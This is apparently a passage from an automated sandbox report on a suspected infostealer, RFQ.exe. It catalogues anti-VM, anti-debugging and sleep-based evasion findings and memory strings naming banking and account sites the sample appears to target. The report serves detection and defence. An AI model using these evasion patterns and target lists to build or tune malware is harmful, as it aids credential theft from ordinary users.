Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\icacls.exe Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\icacls.exe Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\icacls.exe Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\icacls.exe Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\icacls.exe Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX Jump to behavior

Malware Analysis System Evasion
barindex
Yara detected AntiVM3
Source: Yara match File source: Process Memory Space: RFQ.exe PID: 4464, type: MEMORYSTR
Allocates memory with a write watch (potentially for evading sandboxes)
Source: C:\Users\user\Desktop\RFQ.exe Memory allocated: 1200000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe Memory allocated: 2BD0000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe Memory allocated: 4BD0000 memory reserve | memory write watch Jump to behavior
Contains functionality for execution timing, often used to detect debuggers
Source: C:\Users\user\Desktop\RFQ.exe Code function: 5_2_01A7096E rdtsc 5_2_01A7096E
Contains long sleeps (>= 3 min)
Source: C:\Users\user\Desktop\RFQ.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 6642 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 3165 Jump to behavior
Source: C:\Windows\SysWOW64\icacls.exe Window / User API: threadDelayed 4388 Jump to behavior
Source: C:\Windows\SysWOW64\icacls.exe Window / User API: threadDelayed 5585 Jump to behavior
Found large amount of non-executed APIs
Source: C:\Users\user\Desktop\RFQ.exe API coverage: 0.7 %
Source: C:\Windows\SysWOW64\icacls.exe API coverage: 2.6 %
May sleep (evasive loops) to hinder dynamic analysis
Source: C:\Users\user\Desktop\RFQ.exe TID: 2920 Thread sleep time: -922337203685477s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3396 Thread sleep time: -4611686018427385s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\icacls.exe TID: 2272 Thread sleep count: 4388 > 30 Jump to behavior
Source: C:\Windows\SysWOW64\icacls.exe TID: 2272 Thread sleep time: -8776000s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\icacls.exe TID: 2272 Thread sleep count: 5585 > 30 Jump to behavior
Source: C:\Windows\SysWOW64\icacls.exe TID: 2272 Thread sleep time: -11170000s >= -30000s Jump to behavior
Source: C:\Program Files (x86)\RVvmUvPEqDlYrrweVNYYJuvQHghwCDqplNswxbXNeTxKBBugQnGCMhEbIeudCHnXDjdBoYZ\KdNqCjDpwdLOuI.exe TID: 6688 Thread sleep time: -75000s >= -30000s Jump to behavior
Source: C:\Program Files (x86)\RVvmUvPEqDlYrrweVNYYJuvQHghwCDqplNswxbXNeTxKBBugQnGCMhEbIeudCHnXDjdBoYZ\KdNqCjDpwdLOuI.exe TID: 6688 Thread sleep count: 36 > 30 Jump to behavior
Source: C:\Program Files (x86)\RVvmUvPEqDlYrrweVNYYJuvQHghwCDqplNswxbXNeTxKBBugQnGCMhEbIeudCHnXDjdBoYZ\KdNqCjDpwdLOuI.exe TID: 6688 Thread sleep time: -54000s >= -30000s Jump to behavior
Source: C:\Program Files (x86)\RVvmUvPEqDlYrrweVNYYJuvQHghwCDqplNswxbXNeTxKBBugQnGCMhEbIeudCHnXDjdBoYZ\KdNqCjDpwdLOuI.exe TID: 6688 Thread sleep count: 40 > 30 Jump to behavior
Source: C:\Program Files (x86)\RVvmUvPEqDlYrrweVNYYJuvQHghwCDqplNswxbXNeTxKBBugQnGCMhEbIeudCHnXDjdBoYZ\KdNqCjDpwdLOuI.exe TID: 6688 Thread sleep time: -40000s >= -30000s Jump to behavior
Sample execution stops while process was sleeping (likely an evasion)
Source: C:\Windows\SysWOW64\icacls.exe Last function: Thread delayed
Source: C:\Windows\SysWOW64\icacls.exe Last function: Thread delayed
Source: C:\Windows\SysWOW64\icacls.exe Code function: 8_2_030DB130 FindFirstFileW,FindNextFileW,FindClose, 8_2_030DB130
Source: C:\Users\user\Desktop\RFQ.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: dvvZj3l0.8.dr Binary or memory string: Canara Transaction PasswordVMware20,11696428655x
Source: dvvZj3l0.8.dr Binary or memory string: discord.comVMware20,11696428655f
Source: dvvZj3l0.8.dr Binary or memory string: interactivebrokers.co.inVMware20,11696428655d
Source: dvvZj3l0.8.dr Binary or memory string: Interactive Brokers - COM.HKVMware20,11696428655
Source: dvvZj3l0.8.dr Binary or memory string: global block list test formVMware20,11696428655
Source: dvvZj3l0.8.dr Binary or memory string: Canara Transaction PasswordVMware20,11696428655}
Source: dvvZj3l0.8.dr Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696428655
Source: dvvZj3l0.8.dr Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655^
Source: dvvZj3l0.8.dr Binary or memory string: account.microsoft.com/profileVMware20,11696428655u
Source: KdNqCjDpwdLOuI.exe, 0000000A.00000002.4431610588.0000000000E2F000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll,
Source: dvvZj3l0.8.dr Binary or memory string: secure.bankofamerica.comVMware20,11696428655|UE
Source: dvvZj3l0.8.dr Binary or memory string: www.interactivebrokers.comVMware20,11696428655}
Source: dvvZj3l0.8.dr Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696428655p
Source: dvvZj3l0.8.dr Binary or memory string: Interactive Brokers - EU WestVMware20,11696428655n
Source: dvvZj3l0.8.dr Binary or memory string: outlook.office365.comVMware20,11696428655t
Source: dvvZj3l0.8.dr Binary or memory string: microsoft.visualstudio.comVMware20,11696428655x
Source: icacls.exe, 00000008.00000002.4431220100.00000000032A1000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000000B.00000002.2440568776.000001853651D000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: dvvZj3l0.8.dr Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655
Source: dvvZj3l0.8.dr Binary or memory string: outlook.office.comVMware20,11696428655s
Source: dvvZj3l0.8.dr Binary or memory string: www.interactivebrokers.co.inVMware20,11696428655~
Source: dvvZj3l0.8.dr Binary or memory string: ms.portal.azure.comVMware20,11696428655
Source: dvvZj3l0.8.dr Binary or memory string: AMC password management pageVMware20,11696428655
Source: dvvZj3l0.8.dr Binary or memory string: tasks.office.comVMware20,11696428655o
Source: dvvZj3l0.8.dr Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696428655z
Source: dvvZj3l0.8.dr Binary or memory string: turbotax.intuit.comVMware20,11696428655t
Source: dvvZj3l0.8.dr Binary or memory string: interactivebrokers.comVMware20,11696428655
Source: dvvZj3l0.8.dr Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696428655
Source: dvvZj3l0.8.dr Binary or memory string: dev.azure.comVMware20,11696428655j
Source: dvvZj3l0.8.dr Binary or memory string: netportal.hdfcbank.comVMware20,11696428655
Source: dvvZj3l0.8.dr Binary or memory string: Interactive Brokers - HKVMware20,11696428655]
Source: dvvZj3l0.8.dr Binary or memory string: bankofamerica.comVMware20,11696428655x
Source: dvvZj3l0.8.dr Binary or memory string: trackpan.utiitsl.comVMware20,11696428655h
Source: dvvZj3l0.8.dr Binary or memory string: Test URL for global passwords blocklistVMware20,11696428655
Source: C:\Users\user\Desktop\RFQ.exe Process information queried: ProcessInformation Jump to behavior
Checks if the current process is being debugged
Source: C:\Users\user\Desktop\RFQ.exe Process queried: DebugPort Jump to behavior
Source: C:\Windows\SysWOW64\icacls.exe Process queried: DebugPort Jump to behavior
Contains functionality for execution timing, often used to detect debuggers
Source: C:\Users\user\Desktop\RFQ.exe Code function: 5_2_01A7096E rdtsc 5_2_01A7096E
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Source: C:\Users\user\Desktop\RFQ.exe Code function: 5_2_00416EB3 LdrLoadDll, 5_2_00416EB3
Contains functionality to read the PEB
Source: C:\Users\user\Desktop\RFQ.exe Code function: 5_2_01A70185 mov eax, dword ptr fs:[00000030h] 5_2_01A70185
Source: C:\Users\user\Desktop\RFQ.exe Code function: 5_2_01AEC188 mov eax, dword ptr fs:[00000030h] 5_2_01AEC188
Source: C:\Users\user\Desktop\RFQ.exe Code function: 5_2_01AEC188 mov eax, dword ptr fs:[00000030h] 5_2_01AEC188
Source: C:\Users\user\Desktop\RFQ.exe Code function: 5_2_01AD4180 mov eax, dword ptr fs:[00000030h] 5_2_01AD4180
Source: C:\Users\user\Desktop\RFQ.exe Code function: 5_2_01AD4180 mov eax, dword ptr fs:[00000030h] 5_2_01AD4180
Source: C:\Users\user\Desktop\RFQ.exe Code function: 5_2_01AB019F mov eax, dword ptr fs:[00000030h] 5_2_01AB019F
Source: C:\Users\user\Desktop\RFQ.exe Code function: 5_2_01AB019F mov eax, dword ptr fs:[00000030h] 5_2_01AB019F
Source: C:\Users\user\Desktop\RFQ.exe Code function: 5_2_01AB019F mov eax, dword ptr fs:[00000030h] 5_2_01AB019F
Source: C:\Users\user\Desktop\RFQ.exe Code function: 5_2_01AB019F mov eax, dword ptr fs:[00000030h] 5_2_01AB019F
Source: C:\Users\user\Desktop\RFQ.exe Code function: 5_2_01A2A197 mov eax, dword ptr fs:[00000030h] 5_2_01A2A197
Source: C:\Users\user\Desktop\RFQ.exe Code function: 5_2_01A2A197 mov eax, dword ptr fs:[00000030h] 5_2_01A2A197
Source: C:\Users\user\Desktop\RFQ.exe Code function: 5_2_01A2A197 mov eax, dword ptr fs:[00000030h] 5_2_01A2A197
Source: C:\Users\user\Desktop\RFQ.exe Code function: 5_2_01B061E5 mov eax, dword ptr fs:[00000030h] 5_2_01B061E5
Source: C:\Users\user\Desktop\RFQ.exe Code function: 5_2_01A601F8 mov eax, dword ptr fs:[00000030h] 5_2_01A601F8
Source: C:\Users\user\Desktop\RFQ.exe Code function: 5_2_01AF61C3 mov eax, dword ptr fs:[00000030h] 5_2_01AF61C3
Source: C:\Users\user\Desktop\RFQ.exe Code function: 5_2_01AF61C3 mov eax, dword ptr fs:[00000030h] 5_2_01AF61C3
Source: C:\Users\user\Desktop\RFQ.exe Code function: 5_2_01AAE1D0 mov eax, dword ptr fs:[00000030h] 5_2_01AAE1D0
Source: C:\Users\user\Desktop\RFQ.exe Code function: 5_2_01AAE1D0 mov eax, dword ptr fs:[00000030h] 5_2_01AAE1D0
Source: C:\Users\user\Desktop\RFQ.exe Code function: 5_2_01AAE1D0 mov ecx, dword ptr fs:[00000030h] 5_2_01AAE1D0
Source: C:\Users\user\Desktop\RFQ.exe Code function: 5_2_01AAE1D0 mov eax, dword ptr fs:[00000030h] 5_2_01AAE1D0
Source: C:\Users\user\Desktop\RFQ.exe Code function: 5_2_01AAE1D0 mov eax, dword ptr fs:[00000030h] 5_2_01AAE1D0
Source: C:\Users\user\Desktop\RFQ.exe Code function: 5_2_01A60124 mov eax, dword ptr fs:[00000030h] 5_2_01A60124
Source: C:\Users\user\Desktop\RFQ.exe Code function: 5_2_01ADE10E mov eax, dword ptr fs:[00000030h] 5_2_01ADE10E
Source: C:\Users\user\Desktop\RFQ.exe Code function: 5_2_01ADE10E mov ecx, dword ptr fs:[00000030h] 5_2_01ADE10E
Source: C:\Users\user\Desktop\RFQ.exe Code function: 5_2_01ADE10E mov eax, dword ptr fs:[00000030h] 5_2_01ADE10E
Source: C:\Users\user\Desktop\RFQ.exe Code function: 5_2_01ADE10E mov eax, dword ptr fs:[00000030h] 5_2_01ADE10E
Source: C:\Users\user\Desktop\RFQ.exe Code function: 5_2_01ADE10E mov ecx, dword ptr fs:[00000030h] 5_2_01ADE10E
Source: C:\Users\user\Desktop\RFQ.exe Code function: 5_2_01ADE10E mov eax, dword ptr fs:[00000030h] 5_2_01ADE10E
Source: C:\Users\user\Desktop\RFQ.exe Code function: 5_2_01ADE10E mov eax, dword ptr fs:[00000030h] 5_2_01ADE10E
Source: C:\Users\user\Desktop\RFQ.exe Code function: 5_2_01ADE10E mov ecx, dword ptr fs:[00000030h] 5_2_01ADE10E
Source: C:\Users\user\Desktop\RFQ.exe Code function: 5_2_01ADE10E mov eax, dword ptr fs:[00000030h] 5_2_01ADE10E
Source: C:\Users\user\Desktop\RFQ.exe Code function: 5_2_01ADE10E mov ecx, dword ptr fs:[00000030h] 5_2_01ADE10E
Source: C:\Users\user\Desktop\RFQ.exe Code function: 5_2_01ADA118 mov ecx, dword ptr fs:[00000030h] 5_2_01ADA118
Source: C:\Users\user\Desktop\RFQ.exe Code function: 5_2_01ADA118 mov eax, dword ptr fs:[00000030h] 5_2_01ADA118
Source: C:\Users\user\Desktop\RFQ.exe Code function: 5_2_01ADA118 mov eax, dword ptr fs:[00000030h] 5_2_01ADA118
Source: C:\Users\user\Desktop\RFQ.exe Code function: 5_2_01ADA118 mov eax, dword ptr fs:[00000030h] 5_2_01ADA118
Source: C:\Users\user\Desktop\RFQ.exe Code function: 5_2_01AF0115 mov eax, dword ptr fs:[00000030h] 5_2_01AF0115
Source: C:\Users\user\Desktop\RFQ.exe Code function: 5_2_01B04164 mov eax, dword ptr fs:[00000030h] 5_2_01B04164
Source: C:\Users\user\Desktop\RFQ.exe Code function: 5_2_01B04164 mov eax, dword ptr fs:[00000030h] 5_2_01B04164
Source: C:\Users\user\Desktop\RFQ.exe Code function: 5_2_01AC4144 mov eax, dword ptr fs:[00000030h] 5_2_01AC4144
Source: C:\Users\user\Desktop\RFQ.exe Code function: 5_2_01AC4144 mov eax, dword ptr fs:[00000030h] 5_2_01AC4144
Source: C:\Users\user\Desktop\RFQ.exe Code function: 5_2_01AC4144 mov ecx, dword ptr fs:[00000030h] 5_2_01AC4144
Source: C:\Users\user\Desktop\RFQ.exe Code function: 5_2_01AC4144 mov eax, dword ptr fs:[00000030h] 5_2_01AC4144
Source: C:\Users\user\Desktop\RFQ.exe Code function: 5_2_01AC4144 mov eax, dword ptr fs:[00000030h] 5_2_01AC4144
Source: C:\Users\user\Desktop\RFQ.exe Code function: 5_2_01A2C156 mov eax, dword ptr fs:[00000030h] 5_2_01A2C156
Source: C:\Users\user\Desktop\RFQ.exe Code function: 5_2_01AC8158 mov eax, dword ptr fs:[00000030h] 5_2_01AC8158
Source: C:\Users\user\Desktop\RFQ.exe Code function: 5_2_01A36154 mov eax, dword ptr fs:[00000030h] 5_2_01A36154
Source: C:\Users\user\Desktop\RFQ.exe Code function: 5_2_01A36154 mov eax, dword ptr fs:[00000030h] 5_2_01A36154
Source: C:\Users\user\Desktop\RFQ.exe Code function: 5_2_01A280A0 mov eax, dword ptr fs:[00000030h] 5_2_01A280A0
Source: C:\Users\user\Desktop\RFQ.exe Code function: 5_2_01AC80A8 mov eax, dword ptr fs:[00000030h] 5_2_01AC80A8
Source: C:\Users\user\Desktop\RFQ.exe Code function: 5_2_01AF60B8 mov eax, dword ptr fs:[00000030h] 5_2_01AF60B8
Source: C:\Users\user\Desktop\RFQ.exe Code function: 5_2_01AF60B8 mov ecx, dword ptr fs:[00000030h] 5_2_01AF60B8
Source: C:\Users\user\Desktop\RFQ.exe Code function: 5_2_01A3208A mov eax, dword ptr fs:[00000030h] 5_2_01A3208A
Source: C:\Users\user\Desktop\RFQ.exe Code function: 5_2_01A2A0E3 mov ecx, dword ptr fs:[00000030h] 5_2_01A2A0E3
Source: C:\Users\user\Desktop\RFQ.exe Code function: 5_2_01A380E9 mov eax, dword ptr fs:[00000030h] 5_2_01A380E9
Source: C:\Users\user\Desktop\RFQ.exe Code function: 5_2_01AB60E0 mov eax, dword ptr fs:[00000030h] 5_2_01AB60E0
Source: C:\Users\user\Desktop\RFQ.exe Code function: 5_2_01A2C0F0 mov eax, dword ptr fs:[00000030h] 5_2_01A2C0F0
Source: C:\Users\user\Desktop\RFQ.exe Code function: 5_2_01A720F0 mov ecx, dword ptr fs:[00000030h] 5_2_01A720F0
